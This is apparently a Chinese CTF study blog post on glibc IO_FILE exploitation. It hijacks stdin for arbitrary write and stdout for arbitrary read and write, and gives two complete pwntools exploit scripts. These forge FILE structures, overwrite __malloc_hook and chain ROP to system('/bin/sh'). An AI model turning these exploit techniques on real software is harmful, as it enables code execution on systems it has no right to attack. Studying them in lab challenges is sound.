IO_file常见利用方法&原理(一)

记录一下IO_FILE的学习。之前都是零散的看到题目做题,不会了复现别人的做法。现在把新旧版本的IO_FILE利用方法整合一下。本篇文章主要关注 劫持IO_FILE任意读写(泄露libc、任意写)

IO_FILE

IO_FILE应该算是比较重要的一种攻击。和堆、栈不同,IO_FILE攻击的是打开文件/关闭文件的操作。由于ctf题目往往会关闭至少是二进制文件(return、exit等都会关闭文件)因此IO_FILE的触发可以说是必然的。同时,在高版本libc中,没有了hook函数,往往也就是利用IO_FILE完成攻击。此外,对于stdin和stdout的操作还能控制程序任意读写内存。

攻击面

  1. 劫持IO_FILE任意读写(泄露libc、任意写)

  2. 劫持chain字段:house of orange(FSOP)

  3. house of pig

  4. exit_hook

stdin任意地址写

参考的是https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write附件也在这位师傅博客中

在linux中,内核会为文件分配输入输出指针。如下所示。

image-20220129213644246

read_base和read_end表示读取的开始和结尾,read_ptr表示读取的当前位置。注意到这里三者都是相等的,为什么呢?因为程序一开始的setvbuf所做的就是设置输入输出缓冲区。一旦设置为0,那么base和end就会相等,每一次的输入输出,就不会被缓冲。

如果能够修改stdin的write_base的位置,是否就能任意地址写,同样的,修改stdout的read_base位置,是否就能实现任意地址读呢?答案是肯定的。

按照ray-cp师傅的博客,简单分析一下源码

fread源码中,首先调用如下函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
...
if (fp->_IO_buf_base == NULL)
{
...
//输入缓冲区为空则初始化输入缓冲区
}

while (want > 0)
{

have = fp->_IO_read_end - fp->_IO_read_ptr;

if (have > 0)
{
...
//memcpy

}

if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF) // 调用__underflow读入数据
...
}
...
return n - want;
}

可以看到fread首先判断缓冲区_IO_buf_base是否为空,如果是就调用_IO_doallocbuf初始化缓冲区。接着拿到want,也就是我们想要写入的字符数量,和have,我们剩余的缓冲区作比较(这里个人感觉类似linux管道)如果还有没写完的,就调用memcopy否则说明缓冲区内的数据不够,那么调用__underflow读入数据到缓冲区,再复制。

这里我们看到,最好设置_IO_read_end -_IO_read_ptr =0,这样能够实现立即写。

再来看看__IO_underflow源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
...
// 如果存在_IO_NO_READS标志,则直接返回
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
// 如果输入缓冲区里存在数据,则直接返回
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...

// 调用_IO_SYSREAD函数最终执行系统调用读取数据
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
...

}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

underflow的目的是读取数据。首先检查目标文件是否可读,也就是与上标志为。在linux中,这个标志位的值是4

1
define _IO_NO_READS 4

因此我们要确保fp->flags&4==0也就是文件可读。

接着如果想调用_IO_SYSREAD真正调用输入,需要确保绕过前面的if检验。由于之前已经设置_IO_read_end -_IO_read_ptr =0这里可以直接到系统调用。

注意这里系统调用的参数:IO_buf_base需要设置为write_startIO_buf_endwrite_end。并且要求_IO_buf_end-_IO_buf_base大于fread要读的数据数量。并且_fileno=0,表示标准输入。

总结一下要求

  1. 设置_IO_read_end等于_IO_read_ptr

  2. 设置_flag &~ _IO_NO_READS_flag &~ 0x4

  3. 设置_fileno为0。

  4. 设置_IO_buf_basewrite_start_IO_buf_endwrite_end;且使得_IO_buf_end-_IO_buf_base大于fread要读的数据

例子

例子是whctf2017的stackoverflow

1
2
3
4
5
6
7
➜  whctf2018-stkof checksec ./stackoverflow
[*]
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到有canary保护。

输入name地方如下。直接尝试输入0x50字符是泄露不出来的,这里是因为没有经过初始化,栈上有有用数据完成的泄露(我还是太菜了,这都没想到)

1
2
3
4
5
6
io.recvuntil('leave your name, bro:')
io.send(b'a'*0x8)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x07dd52
print("libc_base: " + hex(libc_base))

主函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 main_func()
{
int size; // [rsp+8h] [rbp-18h] BYREF
int temp; // [rsp+Ch] [rbp-14h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
temp = size;
while ( size > 0x300000 )
{
puts("too much bytes to do stackoverflow.");
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
}
ptr = malloc(0x28uLL);
global_ptr = (__int64)malloc(size + 1);
if ( !global_ptr )
{
printf("Error!");
exit(0);
}
printf("padding and ropchain: ");
input_data((char *)global_ptr, size);
*(_BYTE *)(global_ptr + temp) = 0;
return 0LL;
}

限制size<0x300000,但是并不能防止mmap攻击(大小为0x200000)。可以看到程序中多分配了一位(__int64)malloc(size + 1)之后最后一位写成了0,乍一看似乎没有什么漏洞。但是注意最后写0用的是temp,而一开始我们可以把temp写的很大,从而堆将mmap到libc之前,这样就造成了一个\x00的libc任意地址写。但是由于没有free,直接off-by-null也有困难。这里尝试劫持IO_FILE。

劫持之前先看一下未修改时IO_FILE结构

image-20220130104222375

对照条件,发现条件1,条件2,条件3都已经满足,只需要用\x00来修改write_start和write_end即可。但是只能增加\x00字节,并且hook都不是以\x00结尾的,怎么修改呢?

这里也是比较巧妙,因为IO_buf_end恰好是在00开头的位置,如下图所示。

image-20220130121002654

我们可以尝试劫持_IO_buf_base,末尾写\x00,那么base就变成了end,我们就可以操作end,将其修改为__malloc_hook+0x8即可。(由于程序中没有free,写不了free_hook)下图为我们成功写入的操作。

image-20220130121241433

之后一次写,是从_IO_buf_end开始往后写。但是直接覆盖非常容易破坏stdin结构,这里我们伪造一个file结构体(没想到这个pwntools也集成了)

需要注意的是,只有当_IO_read_ptr=IO_read_end的时候,才会写到我们为在的buf_base中。然而在调试程序的时候发现:如果不清空缓冲,直接写会导致我们的伪造file写到堆中!

image-20220130133504477

因此需要清空缓冲区。在源码中,每次输入换行符的时候会fflish一次缓冲区。根据调试看到每次输入后,会有8byte的read buffer,因此在rop输入的时候,连续输入八次加上换行符即可

1
2
for i in range(0,8):
io.sendline('a')

image-20220130143837798

然而我们还不能直接写og,因为这里没有能触发的。。只能尝试rop,会想到这道题题目是rop,只能说设计的太巧妙了。通过调试找到rop的偏移之后得到shell。最后这个ROP真的难找。

image-20220130143044167

exp

这里很奇怪,第71行必须要进入gdb一次之后按q退出才能有shell,大概是改了输入输出流的原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
filename="./stackoverflow"
libc_name="./libc-2.24.so"
io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']
context.arch="amd64"


def debug():
cmd=""
# cmd+="b *0x400A45\n"
# cmd+="b *0x4009B7\n" # break before rop chain
# cmd+="b *0x400ACD\n" # break at loop
cmd+="b *0x400a23\n"
gdb.attach(io,cmd)

# debug()
io.recvuntil('leave your name, bro:')
io.send(b'a'*0x8)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x07dd52
print("libc_base: " + hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
io_stdin=libc_base+libc.symbols['_IO_2_1_stdin_']
io_stdin_end=libc_base+libc.symbols['_IO_2_1_stdin_']+0xe0+0x10
io_buf_base=io_stdin+7*8
io_buf_end=io_buf_base+8

io.recvuntil('trigger stackoverflow:')
io.sendline(str(0x6c28e8)) # just to overwrite writebase
io.recvuntil('stackoverflow:')
io.sendline(str(0x300000))
io.recvuntil('ropchain:')
io.sendline(b'a'*8)


io.recvuntil('trigger stackoverflow:')
io.send(p64(malloc_hook+0x8))

# debug()
io.recvuntil('ropchain:')
for i in range(0,8):
io.sendline('a')

io_file_jumps=libc_base+libc.symbols['_IO_file_jumps']
binsh_addr=libc_base+next(libc.search(b"/bin/sh\x00"))
system_addr=libc_base+libc.symbols['system']
lock_addr=libc_base+0x3c3770# libc.symbols['_IO_stdfile_0_lock']

fake_file=FileStructure(null=0xdeadbeef)
fake_file._old_offset= 0xffffffffffffffff
fake_file._lock= lock_addr
fake_file._IO_buf_end=malloc_hook+8
fake_file.vtable=io_file_jumps
print("fake file:")
print(str(fake_file))
file_data=bytes(fake_file)

# print(file_data)
# payload=file_data[fake_file.offset('_IO_buf_end'):] #start from IO_buf_end to overwrite malloc_hook
begin = fake_file.struntil('_IO_buf_base')
payload = file_data[len(begin)+1:]
print(payload)
payload=payload.ljust(malloc_hook-io_buf_end,b'\x00') # align to malloc_hook
payload+=p64(0x400a23)*2 # rop chain

debug()
io.recvuntil('trigger stackoverflow:')
# payload = p64(0xbabecafe)
io.send(payload)


prdi_ret=0x0000000000400b43 # pop rdi ; ret
payload=b'a'*8+p64(prdi_ret)+p64(binsh_addr)+p64(system_addr)
io.send(payload)

io.interactive()



劫持stdout任意地址读写

之前劫持stdin时,只能进行写,这是因为stdin只能做输入数据到缓冲区。但是stdout既可以读也可以写。读很好理解,可以写的原因是:构造好输出缓冲区将其改为想要任意写的地址,当输出数据可控时,会将数据拷贝至输出缓冲区,即实现了将可控数据拷贝至我们想要写的地址

任意读

这个其实在泄露libc的题目中经常用到,一般也不会用来泄露别的数据。原理方面不深究了,记住payload:

1
2
# stdout的flag开始
payload = p64(0xfbad1800) + p64(0)*3 + '\x00'

其实主要思路就是修改stdout的flag位为0xfbad1800,并且将_IO_write_base的最后一个字节改小,从而实现多输出一些内容,这些内容里面就包含了libc地址

任意写

在fwrite中,将会调用_IO_new_file_xsputn,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
// 判断输出缓冲区还有多少空间
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

// 如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
if (count > 0)
{
...
memcpy (f->_IO_write_ptr, s, count);

可以看出如果我们能控制缓冲区指针,就可以随意写。只需将_IO_write_ptr指向write_start_IO_write_end指向write_end即可

例子

这里还是跟着ray-cp师傅博客

完成例子。题目和脚本都在这位师傅博客上。

程序直接给了我们读写stdout的能力,实际上完全就是这里学到的stdout任意读写的利用。程序会对vatble跳表指针做检测,因此无法FSOP。因此我们的思路是

  1. 首先写stdout来泄露libc
  2. 写stdout实现任意地址写

这里注意,不能改got表和exit_hook因为程序是full_relro,并且没有exit。因此只能改malloc_hook然后通过printf很大数据来触发。但是这里og尝试了很多也没有能跑出来的,网上是0x4f322,但是本地测试的不行。虽然没有打通,但是也算是学到了吧。

image-20220131093735141

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
filename="./babyprintf_ver2"
libc_name="./libc64.so"
io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']
context.arch = "amd64"


def debug():
cmd = ""
# cmd+="brva 0x788\n"# break at read
# cmd+="brva 0x740\n"# break at loop
cmd+="b malloc\n"
gdb.attach(io,cmd)



io.recvline()
io.recvline()
code_info = int(io.recvuntil('\n')[-13:-1],16)
success("code_info: " + hex(code_info))
code_base = code_info - 0x202010
success("code_base: " + hex(code_base))


# debug()
# step1: leak libc_addr
# fake the whole file structure
stdout_addr = code_base + 0x202020
fake_stdout = FileStructure(null=0xdeadbeef)
flag=0
flag&=~8
flag|=0x800
flag|=0x8000
fake_stdout.flags = flag
fake_stdout._IO_write_base = code_base + elf.got['read']
fake_stdout._IO_write_ptr = code_base + elf.got['read']+8
fake_stdout._IO_read_end = fake_stdout._IO_write_base
fake_stdout.fileno = 1
payload = b"a"*0x10
payload+=p64(stdout_addr+8) # which points to our structure,so +8 is just our structure
payload+=bytes(fake_stdout)
print(fake_stdout)
print(payload)
io.sendline(payload)

libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success("libc_info: " + hex(libc_info))
libc_base = libc_info - libc.symbols['read']
success("libc_base: " + hex(libc_base))

# step2: fake file structure to arbitary write
og = [0x4f2c5,0x4f322,0x10a38c,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863]
payload3 = p64(og[3] + libc_base)


fake_stdout2 = FileStructure(null=0xdeadbeef)
flag=0
flag&=~8
flag|=0x800
flag|=0x8000
fake_stdout2.flags = flag
fake_stdout2._IO_write_ptr = libc.symbols['__malloc_hook'] + libc_base
fake_stdout2._IO_write_end = libc.symbols['__malloc_hook'] + libc_base + 8
# fake_stdout2._IO_write_ptr = libc_base + 0x619f60 # exit_hook
# fake_stdout2._IO_write_end = libc_base + 0x619f60 + 8
fake_stdout2.fileno = 1
payload2 = payload3*2
payload2+=p64(stdout_addr+8)
payload2+=bytes(fake_stdout2)
print(fake_stdout2)
io.sendline(payload2)


debug()
io.recvuntil('permitted!\n')
# sleep(0.5)
payload4 = "a"*0x500
# io.sendline(p64(libc_base + 0x3ed8e8))
io.sendline("%n")



io.interactive()

总结

stdin任意读条件

image-20220131094002074

stdout任意读条件

image-20220131094041571

stdout任意写条件

image-20220131094111426

注意伪造stdout的flag位时,最好按照上面第二个exp伪造。

1
2
3
4
5
flag=0
flag&=~8
flag|=0x800
flag|=0x8000
fake_stdout2.flags = flag

参考文章

https://www.bilibili.com/video/BV1yK4y197Fg

https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write

https://n0va-scy.github.io/2019/09/21/IO_FILE/

文章目录
  1. 1. IO_FILE
    1. 1.1. 攻击面
    2. 1.2. stdin任意地址写
      1. 1.2.1. 例子
      2. 1.2.2. exp
    3. 1.3. 劫持stdout任意地址读写
      1. 1.3.1. 任意读
      2. 1.3.2. 任意写
      3. 1.3.3. 例子
      4. 1.3.4. exp
    4. 1.4. 总结
      1. 1.4.1. stdin任意读条件
      2. 1.4.2. stdout任意读条件
      3. 1.4.3. stdout任意写条件
    5. 1.5. 参考文章
|